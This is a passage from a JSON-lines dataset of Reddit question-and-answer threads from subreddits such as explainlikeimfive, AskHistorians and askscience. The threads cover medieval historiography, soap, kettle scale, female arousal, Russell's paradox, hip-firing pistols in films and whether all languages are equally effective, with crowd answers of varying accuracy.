specifically, they saw medieval mentalities as already trending the same rational and emotional directions as their own.\n\nNaturally, this tidy understanding of a premodern modernity, different but recognizable, was about to go up in flames.\n\nAs Paul Freedman shows, the influence of postmodernism in medieval studies, specifically, had three particularly important effects that dislodged the \u201croots of modernity\u201d narrative from its historiographical throne. First, it not uncoincidentally occurred in conjunction with the rise of feminist historiography/gender studies in medieval scholarship. The postmodern focus on \u201cconstruction\u201d of gender\u2014the idea that \u201cmale\u201d and \u201cfemale\u201d are not platonic ideals but built out of a variety of social and discursive flotsam and jetsam\u2014led medievalists to examine how our subjects construct gender. And *damn*, but do you get into weirdness very quickly: medieval women mystics have visions of themselves drinking from Christ\u2019s side wound like breastfeeding. Male medieval monks write themselves as the *brides* of Christ. \n\nSecond, and related, the linguistic and cultural turns shifted attention from the \u201cactual past\u201d to the idea that textual sources can only show *representations* of the past. In other words, we can\u2019t actually know anything for sure. How can the Middle Ages, and the ways medieval people thought, be understood to reflect our own if we have no way to access them to understand? In this view, the Middle Ages may or may not differ fundamentally from our era *in reality*, but they are *truly* alien because we can\u2019t even know that much!\n\nThird, postmodern throught tramples into dust the grand metanarratives of continuity, progress, and teleology\u2014narratives on which the \u201cmedieval roots of the modern world\u201d kind of depends.\n\nThe generation of scholars that exploded \u201cmedieval modernity\u201d or \u201cthe modern medieval\u201d into a strange and exotic world is now retiring or recently retired. But along the way, they have done two things.\n\nFirst, they have shown how wonderfully and terribly bonkers the Middle Ages can seem, like belief in the existence of people with the heads of dogs, or venerating nuns as holy for starving themselves and not taking baths.\n\nSecond, they have demonstrated the underlying *and understandable* rationality of these situations. Robert Bartlett shows how early medieval missionaries, unknowledgeable about the territories into which they were pushing, used the prospect of dog-headed people to work out the bounds of mission efforts. Whose souls needed saving? Within their values and worldview, this was a perfectly reasonable question. Over the course of the Middle Ages, as travelers pushed *hic sunt leones* (\u201chere be lions\u201d) farther and farther outwards on the map, skepticism of their existence \u201cout there\u201d increased. Is this not same type of question question, with horribly concrete implications for real people, that Europeans will debate at Valladolid? Caroline Bynum, most famously and importantly, showed how medieval holy women used food (fasting and Eucharist-feasting) to reenact their own belief in and experience of Christ\u2019s Passion within the constraints of a patriarchal-to-misogynist society.\n\n[cont'd]"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2ig3yc", "title": "what's the difference between organic soap compared to commercially brought up soap? (cleanliness)", "selftext": "I hate to admit it but I'm a slight germophobe. Right now, my family uses bath and body works antibacterial hand soap and it leaves my hands dry and disgusting looking. I have been considering organic soap in hopes it won't eat my hands in the process, but what could possibly be \"organic\" and still CLEAN as in get rid of all the bad bacteria?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2ig3yc/eli5_whats_the_difference_between_organic_soap/", "answers": {"a_id": ["cl1v4ym", "cl1vgsp", "cl200u8", "cl238q5"], "score": [2, 2, 2, 3], "text": ["Really, if killing germs is your goal, you should use hand sanitizer.", "It's not yet clear that antibacterial soap is particularly more effective than regular soap in cleaning your hands, and of course antibacterial does nothing to kill viruses, which are the cause of many common illnesses as well.\n\nIt's plausible that the primary cleaning mechanism is the mechanical action of washing your hands with either kind of soap, which essentially knocks the germs off your hands and down the drain with the soapy water, bacteria and viruses both.", "There's no fundamental difference between the action of natural soap  &  synthetic detergents.  If anything, the synthetics are *better* cleaners, which is why they manage to strip your hands of protective oils  &  dry them out.\n\nOne of the big advantages of an all-natural soap (eg Dr Bronners) isn't that it's organic or fair trade, it's that they retain the *glycerin* that results from breaking down fats into soap.  Glycerin is an effective skin moisturizer.\n\nBased on personal experience, switching to DB's soap made a noticeable difference in how dry my skin was after showering.\n\n\nHonestly, your bigger problem isn't finding a better soap, it's an unhealthy obsession with hand washing.  You should probably work on that.", "Your typical commercial soap will have sulfur-containing detergents like sodium lauryl sulfate, laureth sulfate, dodecyl sulfate. Sometimes they will try to say \"sulfate free\" but typically it has sulfites or sulfonates (I have noticed this the most with shampoos). These detergents are inexpensive and super sudsy; most Americans are convinced that more lather = cleaner although this is not true. SDS and its isoforms are not intrinsically dangerous chemicals, but they are very good detergents that strip oil and denature proteins. Some people are more sensitive to this which is why your hands are in such rough shape. SDS is found in tons of consumer products: toothpaste, shampoo, shaving cream, body wash, face wash. A lot of issues can be resolved just by switching to SDS free products: acne, canker sores, tooth sensitivity, brittle hair, ingrown hairs from shaving. \n\nMost antibacterial soaps contain triclosan, which is basically the devil. It's not more effective at killing bacteria than soap alone. It accumulates in the environment, especially predatory fish. And it's possibly contributing to bacterial resistance. DON'T USE IT!\n\n\"Natural\" or traditionally made soaps are made by reacting oil or fat with a strong base like lye or potash (ever seen Fight Club?). These soaps are gentler than synthetic detergents. I really like castille soap. It's made with olive oil and smells really nice. You can get it in a liquid or bar. I use it on myself, my pets, to clean leather, clean wood floors, really anything alive or that used to be alive. \n\nTo get your hands really clean, wash thoroughly with warm water. Get in between all the fingers and under the nails. Rinse well. And make sure to completely dry your hands. Washing your hands and leaving them even a little wet is worse than not washing them at all. Moisturize with shea or cocoa butter if they get too dry. But also remember that 99.9% of the bacteria on your skin are trying to help you, there are only a few bad actors. Just wash your hands when you need to, like after using the bathroom or before cooking/ eating. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "37eu4x", "title": "How did \"Fido\" become the default name for dogs?", "selftext": "It's all over products and advertisements in the US, and has been for as long as I can remember. When and why did we start calling dogs Fido?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/37eu4x/how_did_fido_become_the_default_name_for_dogs/", "answers": {"a_id": ["crmfvbv"], "score": [5], "text": ["Fido is a Latin word meaning \"Faithful\", the guys at /r/linguistics may be better able to answer the origins."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "18ep27", "title": "why does my water kettle always have a build up of white particles on the bottom? what is it?", "selftext": "Does the fact that my water kettle is stainless have an effect?\n", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/18ep27/eli5_why_does_my_water_kettle_always_have_a_build/", "answers": {"a_id": ["c8e4iwq", "c8ea4wx"], "score": [14, 2], "text": ["It's mostly calcium carbonate and magnesium carbonate.\n\nThe water coming out of your tap comes out of the ground. Sure, before that it was in the air and stuff, but most recently it came out of the ground. Water that's in the ground gets contaminated with all sorts of horrible things: viruses, bacteria, bugs, twigs \u2026\u00a0raccoon pee. It's just nasty.\n\nOne of the things groundwater gets \"contaminated\" with is dissolved minerals. I put \"contaminated\" in quotes there because unlike the raccoon pee, dissolved minerals don't actually make water bad to drink. To the contrary, dissolved minerals in water may form an important dietary supplement. You need those minerals to live, see \u2014\u00a0not a lot of them, but some \u2014\u00a0and water is a good way to get them.\n\nWhich is why before it gets to your house your tap water is processed to remove the raccoon pee, but the dissolved minerals are left in it. They're completely harmless, and they *may* actually be good for you, so why go to the extra trouble and expense of taking them out?\n\nThe downside to this \u2014 and it's a very minor one \u2014\u00a0is that these dissolved minerals will tend, over time, to precipitate out as carbonates, principally calcium carbonate and magnesium carbonate. These form a white-ish residue wherever water flows: taps, shower heads, inside pipes, and yes, inside kettles.\n\nIt's quite harmless. If it bothers you, you can remove it with a gentle acid, like ordinary white vinegar (acetic acid) or cream of tartar dissolved in water (tartaric acid).", "I'm going to go with Calcium (etc.) deposits... They can be removed with acetic acid (vinegar). Additionally, if you buy \"Distilled water\" (about $0.98/gallon at any store) you'll avoid this problem. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3wff94", "title": "what happens physiologically when a girl gets wet when turned on? what is it, and where does it come from?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3wff94/eli5_what_happens_physiologically_when_a_girl/", "answers": {"a_id": ["cxvtazl", "cxvwsic", "cxwa2de", "cxwllpp"], "score": [70, 18, 2, 2], "text": ["From Wikipedia\n\nVaginal lubrication is a naturally produced fluid that lubricates a woman's vagina. Vaginal lubrication is always present, but production increases significantly near ovulation and during sexual arousal in anticipation of sexual intercourse. Vaginal dryness is the condition in which this lubrication is insufficient, and sometimes artificial lubricants are used to augment it. Without sufficient lubrication, sexual intercourse can be painful to women. **The vaginal lining has no glands, and therefore the vagina must rely on other methods of lubrication. Plasma seepage from vaginal walls due to vascular engorgement is considered to be the chief lubrication source, and the Bartholin's glands, located slightly below and to the left and right of the introitus (vaginal opening), also secrete mucus to augment vaginal-wall secretions.** Near ovulation, cervical mucous provides additional lubrication.", "Vaginal secretions are not the same as sexual arousal lubrication. Vaginal secretions are the product of the vagina cleaning itself, cervical mucus, etc. \n\nSexual arousal lubrication does not come from the vagina at all. It comes from outside the vagina, via the Skene's gland and perhaps the Bartholin's gland.", "I'd like to point out, the texture of the secretion can help a women determine when she IS ovulating WHICH could help a lot of women more carefully determine whether she wants to engage in intercouse that particular evening (or day).  More like a few days.  SO pro-tip - pay attention to your discharge as an additional form of birth control!!!  My wife learned about this and it helps us to know when to be extra careful during these few days of her cycle.  Please read up on this if you are sexually active. :D", "I was a researcher and guess what we all research in our spare time? Sex.\n\nThis led me to develop my own theory.  It's probably full of crap, because most of my research was done back in the 90s, but it sure as hell works.  \n\nPlease also understand that this is just about the mechanics of the female body, not their amazing minds, which are the real deciders and where the real magic happens.  If the woman is unwilling in her mind, the stimulation is unpleasant and none of this is going to work.\n\nMy theory is that a female's reproductive system is really an orgasm-sensor, and a wonderful and amazing thing to get to know.  \n\nLike all good sensor systems, the female reproductive system relies upon multiple types of sensors and signals.  \n\nThe system is even redundant, with a dedicated nerve line that nobody knew about bypassing the spine so that injured or paralyzed women can still have orgasms, too, which was discovered when brain function monitors detected orgasms in comatose women when they were being bathed.\n\nThere are numerous \"sensor\" areas that can be stimulated, including the clitoris, g-spot, and cervix, not to mention a dozen other spots not directly connected to the vaginal area that are more unique to the physiology and prior experience of the woman in question.  We'll come back to those in a minute just like you will with your gal tonight.\n\nThe stimulation of each area acts as a sort of physical confirmation that the woman is having or is about to have sex.  When enough confirmation is received, she has her orgasm, and her cervix spasms in order to collect semen from the \"collection plate\" area in the upper vagina.  \n\nSo going back to the three fun sensors I mentioned above, each has a slightly different function, I think:\n\nThe clitoris is at the front door and is designed to detect signs of penetration and perhaps more importantly a change in pace as the male undergoes his own orgasm.  Men almost automatically push harder and faster when they ejaculate, see, and the vagina looks for that.  \n\nNote that I think it is the CHANGE in activity, not necessarily its intensity, that is detected by the clitoris and other parts of the vagina.  The big bang theory usually doesn't work in bed, not without a lot of prior practice with your partner and even then it's hit or miss.\n\nThe G-spot is located about one finger-length inside on the belly-button side of the vaginal wall.  It's about the size of a dime and many women respond with stunning enthusiasm when the G-spot thinks it detects an ejaculating penis.  One can simulate this action by carefully rubbing the area with the finger, thus \"tricking\" a woman into having an orgasm without a male ejaculation, during cunnilingus, for example.  If your tongue is getting tired, stick that middle finger in there while you're working and see what happens, ha ha!  You are both likely to be pleased at the result.\n\nThe cervix doesn't seem to be nearly as important but some women seem to notice and really enjoy having the cervix gently \"tapped\" by the penis.  Or so I am told because I can't reach it myself.  I think preference for cervical stimulation may be what makes some women \"size queens\" who prefer large penises.  \n\nIf you don't have one of those, as I don't, don't sweat it because concentrating on the other two areas is far, far more important for most women, including size queens.  I've received some unusual compliments from some of those ladies, so even though I don't pack the howitzer, it's only an obstacle to a very small percentage of women.\n\nSo that's what the amazing female sexual antenna does: it detects signs of penetration, it monitors carefully for some signs that indicate the male has delivered his seed, and when confirmation is achieved either legitimately or by ruse, the woman spasms and the cervix laps up the stuff so that the boys can get to swimming up the uterus.  Mission accomplished!\n\nGood luck to you, boys and girls!  I've had excellent results applying these theories, even if they are wrong in substantive ways--and again, I am CERTAIN that some of this is incorrect.  \n\nAnd dudes, can I say something?  If you like airplanes, you read about airplanes.  If you like football, you learn about football.  \n\nI know you like sex.  So for God's sake, do the ladies a favor and LEARN ABOUT IT!  You are not inherently born with sexual prowess; you have to learn what you are doing, and some of it is book learnin', dammit.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "k9ffw", "title": "the paradox arising from the question \"does a set of all sets contain itself?\"", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/k9ffw/eli5_the_paradox_arising_from_the_question_does_a/", "answers": {"a_id": ["c2ihkgw", "c2ii2ew", "c2iie8r", "c2iiqug", "c2ijb7h", "c2ihkgw", "c2ii2ew", "c2iie8r", "c2iiqug", "c2ijb7h"], "score": [5, 12, 3, 2, 3, 5, 12, 3, 2, 3], "text": ["That's called Russell's paradox (named after Bertrand Russell). It's fairly easy to see the problem if you state it right, but you haven't!\n\nIt's \"Does the set of all sets that don't contain themselves contain itself?\"\n\nIf it doesn't contain itself then by definition it must contain itself. If it contains itself then it shouldn't contain itself by definition too.\n\nThis famous paradox is part of what prompted the 20th century's research into the foundations of mathematics, and trying to make it less shaky. But then came G\u00f6del and ruined the party, but that's another story.", "Part of the problem with this is the definition of a set.  There are a few ways to define it, but one of them is that a set can not contain other sets.  Obviously the question is assuming that a set of all sets can exist, so we'll put that aside.\n\nWe have the Universal set, which contains all sets.  This is the definition of the universal set.  \n\nIf you add the universal set, to itself, you re-add all of the sets.  Let's call this the super universal set.  It contains all sets, AND the universal set, which contains all sets.  So you'd have the same sets represented twice. \n\nNow we have another problem?  Can the super universal set contain itself?  Following the example above, why not?  This is part the problem, it creates a recursive function which keeps redefining itself as the set which contains all sets.  The other part is that you end up repeating the same initial sets over and over and over.  \n\nAt this point the term set has lost it's meaning.  This is why I brought up the definition problem in the first paragraph.  Beyond any abstract philosophical concepts, the term set, and items within, lose meaning and value as a result of this progression.\n\nSo a set of all sets could contain itself, but what does that mean, each time you add the set of all sets to itself, you create a new set which now becomes the set of all sets with itself.  Where does it end?\n\nEDIT:  Given the discussion maybe this is a better way to say it.\n\nX = all sets\n\nset of all sets = all sets = X\n\nset of all sets including set of all sets = X + X\n\nIf X+X=X, and X is not zero, you have a problem because the only other solution is that X equals infinity.  You are left with the following \"the set of all sets which *also* includes the set of all sets is equal to the set of all sets.\"  Asking what the final set of sets is (whether it can be defined as such), is like asking what the last number in infinity is.  It's infinity.  \n\nThe moment the set of sets goes inside of itself it's not the set of all sets.  But then it is because you can just change what X refers to.  It's a continual 1 - 1 + 1 - 1 + 1 - 1... which equals infinity.  If something leads to an infinity it is a paradox.", "This confused me after I read Logicomix (graphic novel about Bertrand Russell - Awesome book BTW), and while I was driving my car one day I suddenly realized why this is a paradox. I'll try to explain using the thought process which lead to my realization:\n\n1. Suppose we decide to create a set of all sets which do not contain themselves. We find all the sets that have this characteristic and put them in a group. Dont worry about the set itself for now - use your imagination and think about a few examples of sets like these.\n2. Now we have a big collection of things (sets), inside our big, \"master\" set. This set does not contain itself. Well now, it looks like we've left out our biggest member! We now put this set in with all the others.\n3. Oh no! In putting this set inside itself, we have changed the characteristic of this set! This set now contains itself! We have to remove it.\n4. Phew! we've removed the offending set, and now have a set of ALL sets that do not contain themselves. But wait, aren't we missing the most important member of this set? Without itself, this set cannot fulfill its original objective, because it has to contain ALL sets like these. We have to put it back in!\n5. Well shit.", "I'm going to answer your actual question rather than Russell's Paradox, which is the paradox that has to do with this.\n\nDoes a set of all sets contain itself?  Um, of course, because it's a set, and it contains all sets.  That's not a paradox!  The difficulty is this: how could the set of all sets *fit inside* itself?  The answer is that it doesn't have to.  Say you have a catalog of all catalogs.  It would contain the Sears catalog, and it would contain the SkyMall catalog, and it would also contain the catalog of all catalogs: itself.  If you wanted to get a catalog, you could look at them in the catalog of all catalogs and pick them out.  Maybe you think that this catalog of all catalogs is a neat idea, but the one you're looking at is actually your friend's catalog of all catalogs, and you want one for yourself.  So you look it up -- there it is, at letter C, the catalog of all catalogs.  It's got a price and a catalog number, and you call the store and order it; 2-3 business days later, and there's your own catalog of all catalogs.\n\nWhere's the paradox?  There isn't one, really.  You'd have an infinitely large catalog if the catalog had to contain the *products* of all catalogs, but then you'd have an infinitely large catalog and that's OK.  It's not real. ;p  But it only needs to contain the catalogs themselves.\n\nThe problem arises in trying to make a set containing itself into a physical object.  A folder is a set of files on your computer, but a folder can't contain itself.  It can contain a shortcut to itself, but that's not the same thing.", "A priori, there is absolutely no reason that a set could not contain itself. There is no issue with recursion.\n\nThe problem comes in when you combine such an object with the following axiom: given any set A, and any property P sets can have, you can construct a second set B consisting of the elements of A which have P.\n\nThen going back to the existence of a set of all sets, set that as A, and let P be the property of not containing itself. The resultant set B is the set of all sets which do not contain themselves, which is Russell's paradox.\n\nSo you either have to drop the existance of the set of all sets or the mentioned axiom. That axiom is way more useful than the set of all sets, so in mathematics we do the former.\n\ntl;dr: the question is ill-posed, the set doesn't exist.", "That's called Russell's paradox (named after Bertrand Russell). It's fairly easy to see the problem if you state it right, but you haven't!\n\nIt's \"Does the set of all sets that don't contain themselves contain itself?\"\n\nIf it doesn't contain itself then by definition it must contain itself. If it contains itself then it shouldn't contain itself by definition too.\n\nThis famous paradox is part of what prompted the 20th century's research into the foundations of mathematics, and trying to make it less shaky. But then came G\u00f6del and ruined the party, but that's another story.", "Part of the problem with this is the definition of a set.  There are a few ways to define it, but one of them is that a set can not contain other sets.  Obviously the question is assuming that a set of all sets can exist, so we'll put that aside.\n\nWe have the Universal set, which contains all sets.  This is the definition of the universal set.  \n\nIf you add the universal set, to itself, you re-add all of the sets.  Let's call this the super universal set.  It contains all sets, AND the universal set, which contains all sets.  So you'd have the same sets represented twice. \n\nNow we have another problem?  Can the super universal set contain itself?  Following the example above, why not?  This is part the problem, it creates a recursive function which keeps redefining itself as the set which contains all sets.  The other part is that you end up repeating the same initial sets over and over and over.  \n\nAt this point the term set has lost it's meaning.  This is why I brought up the definition problem in the first paragraph.  Beyond any abstract philosophical concepts, the term set, and items within, lose meaning and value as a result of this progression.\n\nSo a set of all sets could contain itself, but what does that mean, each time you add the set of all sets to itself, you create a new set which now becomes the set of all sets with itself.  Where does it end?\n\nEDIT:  Given the discussion maybe this is a better way to say it.\n\nX = all sets\n\nset of all sets = all sets = X\n\nset of all sets including set of all sets = X + X\n\nIf X+X=X, and X is not zero, you have a problem because the only other solution is that X equals infinity.  You are left with the following \"the set of all sets which *also* includes the set of all sets is equal to the set of all sets.\"  Asking what the final set of sets is (whether it can be defined as such), is like asking what the last number in infinity is.  It's infinity.  \n\nThe moment the set of sets goes inside of itself it's not the set of all sets.  But then it is because you can just change what X refers to.  It's a continual 1 - 1 + 1 - 1 + 1 - 1... which equals infinity.  If something leads to an infinity it is a paradox.", "This confused me after I read Logicomix (graphic novel about Bertrand Russell - Awesome book BTW), and while I was driving my car one day I suddenly realized why this is a paradox. I'll try to explain using the thought process which lead to my realization:\n\n1. Suppose we decide to create a set of all sets which do not contain themselves. We find all the sets that have this characteristic and put them in a group. Dont worry about the set itself for now - use your imagination and think about a few examples of sets like these.\n2. Now we have a big collection of things (sets), inside our big, \"master\" set. This set does not contain itself. Well now, it looks like we've left out our biggest member! We now put this set in with all the others.\n3. Oh no! In putting this set inside itself, we have changed the characteristic of this set! This set now contains itself! We have to remove it.\n4. Phew! we've removed the offending set, and now have a set of ALL sets that do not contain themselves. But wait, aren't we missing the most important member of this set? Without itself, this set cannot fulfill its original objective, because it has to contain ALL sets like these. We have to put it back in!\n5. Well shit.", "I'm going to answer your actual question rather than Russell's Paradox, which is the paradox that has to do with this.\n\nDoes a set of all sets contain itself?  Um, of course, because it's a set, and it contains all sets.  That's not a paradox!  The difficulty is this: how could the set of all sets *fit inside* itself?  The answer is that it doesn't have to.  Say you have a catalog of all catalogs.  It would contain the Sears catalog, and it would contain the SkyMall catalog, and it would also contain the catalog of all catalogs: itself.  If you wanted to get a catalog, you could look at them in the catalog of all catalogs and pick them out.  Maybe you think that this catalog of all catalogs is a neat idea, but the one you're looking at is actually your friend's catalog of all catalogs, and you want one for yourself.  So you look it up -- there it is, at letter C, the catalog of all catalogs.  It's got a price and a catalog number, and you call the store and order it; 2-3 business days later, and there's your own catalog of all catalogs.\n\nWhere's the paradox?  There isn't one, really.  You'd have an infinitely large catalog if the catalog had to contain the *products* of all catalogs, but then you'd have an infinitely large catalog and that's OK.  It's not real. ;p  But it only needs to contain the catalogs themselves.\n\nThe problem arises in trying to make a set containing itself into a physical object.  A folder is a set of files on your computer, but a folder can't contain itself.  It can contain a shortcut to itself, but that's not the same thing.", "A priori, there is absolutely no reason that a set could not contain itself. There is no issue with recursion.\n\nThe problem comes in when you combine such an object with the following axiom: given any set A, and any property P sets can have, you can construct a second set B consisting of the elements of A which have P.\n\nThen going back to the existence of a set of all sets, set that as A, and let P be the property of not containing itself. The resultant set B is the set of all sets which do not contain themselves, which is Russell's paradox.\n\nSo you either have to drop the existance of the set of all sets or the mentioned axiom. That axiom is way more useful than the set of all sets, so in mathematics we do the former.\n\ntl;dr: the question is ill-posed, the set doesn't exist."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], []]}
{"q_id": "35jqwq", "title": "why is it that in older movies characters will shoot their pistols from the hip? i'm not talking about western movies or anything, but movies like james bond with sean connery. wouldn't that obviously not be as effective as aiming down the sights?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/35jqwq/eli5_why_is_it_that_in_older_movies_characters/", "answers": {"a_id": ["cr51s3e", "cr522i5", "cr52bi2", "cr53zkb", "cr559be", "cr55qii", "cr59pbd", "cr5auyv", "cr5d0k7", "cr5qbzw"], "score": [69, 19, 12, 37, 6, 9, 3, 6, 3, 2], "text": ["There are a good number of things that make sense for dramatic effect in movies but wouldn't go over very well in real life.  For example, don't name your daughter \"pussy galore\", and don't try to be a badass mofo after drinking three martinis.", "As an avid shooter that is a decent shot, shooting from the hip is incredibly hard. Doing it in the movies is just to look cool. You should also know nothing in the movies is ever tactical. If it is, the experts still have a better way.", "They are sacrificing accuracy for speed. You can overcome the accuracy loss with practice but it will always take longer to lift your arm that high. Any speed gains you get in that with practice would also apply to hip shots.\n\nWhy would you downvote this? Just because something is hard doesn't mean it is untrue. There are shooters today who use this very technique for competition shooting.", "Funny question. A buddy and I like to shoot and we tried one day to do this with targets. Both of us used Glock 19s so there would be no advantage to either.\n\n1) He almost shot himself in the foot with his quick unholstering\n\n2) I dropped my gun (twice) upon quick unholstering\n\n3) For the first few clips, both my friend and I hit the ground with almost every round. Our wrists were not used to the recoiling so low by our hips. So you can imagine we unconsciously flexed our wrists downward to control the Glock's recoil, causing our rounds to hit the ground over and over.\n\n4) Shooting at the low level also bit the space between our thumb and index fingers when the slide recoiled to eject the bullet. Band-Aids all around.\n\n5) When we finally lifted our hands higher to shoot the target after unholstering, the timing of doing that versus whipping the gun up to see down the sight for a more accurate shot was pretty much the same timing. With practice, quick-aiming from holster to eye-sight line would be just as fast with far more accurate aiming than a hip shot.\n\n6) These were Glocks, which stabilize their kick-back with a recoil slide on the top (which does a lot to suppress the gun \"jumping\" when the round is blasted out of the chamber). There is NO FUCKING WAY we'd use a revolver like .357 Smith and Wesson or similar. The recoiled would twist our wrists at the low level and possibly cause ligament damage to our hands. Maybe a .22 caliber would work, but that's a small round in a gun fight.\n\n\nSo, if you're in a gun flight... just whip the gun up, align the sight as best you can, and pull the trigger. Don't try to be James Bond with the hip-fire bullshit. Your round will hit the ground and your wrist will hurt like fuck,  just before you get shot by your opponent.", "Ok, so everyone here is wrong. The aspect ratio of older films is way smaller than today. Excuse me for not being able to site my facts for it has been a while since I was in school, but they just couldn't get decent shots of the actors aiming down the sights. It became the norm for films because of this and is one of those things that stuck and became the cliche it is.", "The gun would obstruct the audience's view of the character's face. Holding it lower then became the cool movie trope until we started to see gritty, realistic movies.", "Well, there's the whole Hollywood aspect of it; it doesn't need to be realistic, it just needs to get the audience to suspend their disbelief.\n\nBut there do exist [point shooting](_URL_1_) techniques that do not use the sights, and some of them involve hip shooting; you can see it in [several of the illustrations in this page](_URL_0_).  I can't really comment intelligently on them, so I'll mostly quote this bit from the Wikipedia article:\n\n >  Much of Applegate's instruction on point shooting involves developing a firm, consistent shooting position that allows the student to consistently hit where he is looking.  While Applegate did cover firing handguns from the hip (from a position he called the \"1/2 hip\" position), he was careful to point out that this method only worked on targets at the same level as the shooter, and only at very close range. The preferred method was to bring the handgun up to just below eye level. With the proper grip and a locked elbow and wrist, this will bring the gun to bear on the target. To reduce error in the stance, targets not directly in front of the shooter are engaged by turning the upper body at the hips, since turning the arm at the shoulder, elbow, or wrist will result in a loss of control and a miss, while turning at the waist keeps everything aligned correctly.\n\nKeep in mind this important theme from many systems of self-defense: when people think they're moments away from being killed, they adopt certain body positions, lose fine motor control, and focus their eyes on the threat, not the gunsights.  So there are many techniques that look suboptimal because they are designed to work under those circumstances.", "I've always assumed that it's just supposed to make the hero look like an effortlessly virtuoso shot. Also, you don't need any special camera angles to capture the actor's face while he's taking the shot.", "This dude is quick and accurate it seems.\n\n_URL_0_", "The whole point of a character shooting from the hip is to tell the audience that he's so good with a gun he doesn't even have to aim with the sights. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], ["http://www.pointshooting.com/faschap.htm", "http://en.wikipedia.org/wiki/Point_shooting"], [], ["https://www.youtube.com/watch?v=r7HN7THecwg"], []]}
{"q_id": "34zymp", "title": "Are all languages equally as 'effective'?", "selftext": "This might be a silly question, but I know many different languages adopt different systems and rules and I got to thinking about this today when discussing a translation of a book I like. Do different languages have varying degrees of 'effectiveness' in communicating? Can very nuanced, subtle communication be lost in translation from one more 'complex' language to a simpler one? Particularly in regards to more common languages spoken around the world.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/34zymp/are_all_languages_equally_as_effective/", "answers": {"a_id": ["cqzvjzq", "cqzwlm5", "cqzwttu", "cr00gd5", "cr00okq", "cr05jls", "cr0hlz1"], "score": [3341, 155, 147, 27, 30, 31, 6], "text": ["Most of the replies you've gotten so far are perfect material for /r/badlinguistics.\n\nIn general, linguists agree that no language is more or less complex than another overall, and *definitely* agree that all natural human languages are effective at communicating. This is in part because there's no agreed upon rubric for what constitutes \"complexity,\" and because there is a very strong pressure for *ineffective* language to be selected against.\n\n > Can very nuanced, subtle communication be lost in translation from one more 'complex' language to a simpler one?\n\nA few thoughts: \n\n(1) information can be lost in translation, yes. More often than not, it's 'flavor.' That is, social and pragmatic nuances, or how prosodic and phonological factors affect an utterance. Translated poetry, to give an obvious example, will either lose rhythmic feeling and rhyme, or be forced to fit a rhythm and rhyme at the expense of more direct or idiomatic translation. \n\n\n(2) You would have to define complexity, before you could answer this. Every time I've seen a question like this, what the OP defines as complexity is just one way of communicating information, and the supposedly more complex language is less complex in other ways. For instance, communicating the syntactic role of a noun phrase can be achieved either through case marking, or through fixed word order. Which of these is more complex? Well, one's got structural requirements at the phrase level, another has morphological requirements at the word level. Or here's another example: think about Mandarin and English. Mandarin has fewer vowels than English. Is it therefore less complex? What about the fact that it has lexical tone that English lacks? \n\n\n > Do different languages have varying degrees of 'effectiveness' in communicating? \n\nNo. In general, you'll find that the people who argue they do (1) have not ever seriously studied linguistics, (2) tend not to know how global languages became global languages -- through colonization in the last few centuries, and (3) tend to want to support overly simplistic narratives that are based on ethnoracial or class prejudice.  They're also often really poorly thought-out. For instance, I've seen a lot of arguments in this thread that English is somehow superior for math and science, claiming that speakers of other languages have to switch to English, or borrow words from English to do math or science -- while conveniently forgetting that English borrowed most of those words from Latin and Greek. And that the speakers of other languages they're holding as examples were educated in English in former English colonies, so they were taught math and science terminology in English rather than their home languages.\n\n\n\nI would link to peer reviewed papers, but this is so fundamental to the study of linguistics that I'm not even sure where to start, honestly. The claims that a given language is more complex than another, or better suited to abstract thought, or what have you have all gone the way of other racist pseudo-science,= like phrenology...which is to say, long gone from academia, but alive and well on reddit.  \u00af\\\\_(\u30c4)_/\u00af\n\n\nEDIT: I inadvertently put my last paragraph in the middle. Fixed. \n\n\n\n", "A reminder to all commenters: anecdotes are not allowed and all statements must be based on peer-reviewed research. Please review our [guidelines](_URL_0_) for more information.", "Yes, all languages are equally effective.\n\nThis is a standard thing in linguistics which you will find in any introductory textbook and is basically taken as a given by anyone working in the field after decades of looking at languages across the globe. It's taken as a given because that's what the evidence supports. While I'd love to provide you with all that evidence, I'm afraid it's not really feasible to summarise a century of research on linguistics in a single Reddit comment. At the very least it would require a semester of a university course to cover this in any appreciable detail. However feel free to run it by /r/linguistics to confirm this point, as many people there would be happy to spend the time going over specific examples of how this plays out as I'm saying it does.\n\nAll languages are equally effective at communicating complex ideas, managing social interactions, dealing with complex tasks, and describing anything that would need to be described.\n\nThere are no \"primitive languages\". There are no languages which are globally simpler than other languages. If such differences do exist, they're insignificant and immeasurable.\n\nI'm a little bummed out to see all the speculation going on here, especially considering how much stuff is being posted that's just wrong.\n\n(edited for clarity)", "I have a question to add to OP's. Is it easier for some people to learn certain languages than others? Like say would it be easier for a person who speaks English to learn Chinese than it would be for them to learn Arabic? I am sure that they could learn a Latin based language easier but what about completely different languages like that?", " >  Are all languages equally as effective?\n\nIt depends on the context and goals we use to define their effectiveness. For example, a language with no vocabulary for modern technology, no numbers, and no words relating to commerce would have a really rough time describing a day in the life of a Tokyo businessman in the kind of detail a Tokyo businessman would consider helpful. Let's say Piraha is just not sufficient for that goal or context.\n\nIn much the same way, however, Japanese would be more or less at a loss in describing succinctly the events of yesterday's fishing venture, on account of it not having the kind of dedicated vocabulary for what was caught, how it was caught, how the speaker learned it was caught, etc. It certainly could describe them, but to a Piraha it would be somewhat of a downgrade from the ease of communicating such things in their own language.\n\nBut a more important point to be made is all languages *can describe*, to varying degrees of detail or in different culturally relevant terms, any real event that takes place, and 